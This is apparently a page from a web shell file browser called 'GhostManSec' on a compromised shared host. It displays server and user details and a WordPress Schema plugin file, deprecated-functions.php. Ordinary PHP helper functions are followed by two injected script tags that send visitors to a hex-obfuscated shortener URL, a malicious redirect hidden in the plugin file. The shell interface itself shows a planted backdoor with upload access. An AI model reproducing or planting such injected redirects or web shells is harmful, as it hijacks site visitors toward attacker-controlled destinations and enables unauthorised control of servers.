GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/fadyfun.saifookhan.com/wp-content/plugins/schema/includes/deprecated-functions.php
<?php

/**
 *  Deprecated Functions
 * 
 * This file is made to keep older non-used functions as a refrence. 
 *
 *
 *  @since 1.6
 *  @return void
 */

/**
 * Get First Post Date Function
 *
 * @since 1.6.9.8
 * @param  $format Type of date format to return, using PHP date standard, default Y-m-d
 * @return Date of first post
 */
function schema_wp_first_post_date( $format = 'Y-m-d' ) {
	// Setup get_posts arguments
	$ax_args = array(
		'numberposts' => -1,
		'post_status' => 'publish',
		'order' => 'ASC'
	);

	// Get all posts in order of first to last
	$ax_get_all = get_posts($ax_args);

	// Extract first post from array
	$ax_first_post = $ax_get_all[0];

	// Assign first post date to var
	$ax_first_post_date = $ax_first_post->post_date;

	// return date in required format
	$output = date($format, strtotime($ax_first_post_date));

	return $output;
}


/**
 * Truncate a string of content to 110 characters, respecting full words.
 *
 * @since 1.7.1
 * @return string
 */
function schema_wp_get_truncate_to_word_deprecated( $string, $limit = 110, $end = '...' ) {
	
	$limit 	= apply_filters( 'schema_wp_truncate_to_word_limit', $limit );
	$limit 	= $limit - strlen($end); // Take into account $end string into the limit
	$string = substr($string, 0, $limit);
	$string = substr($string, 0, strrpos($string, ' ')) . $end;
	
	return $string;
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>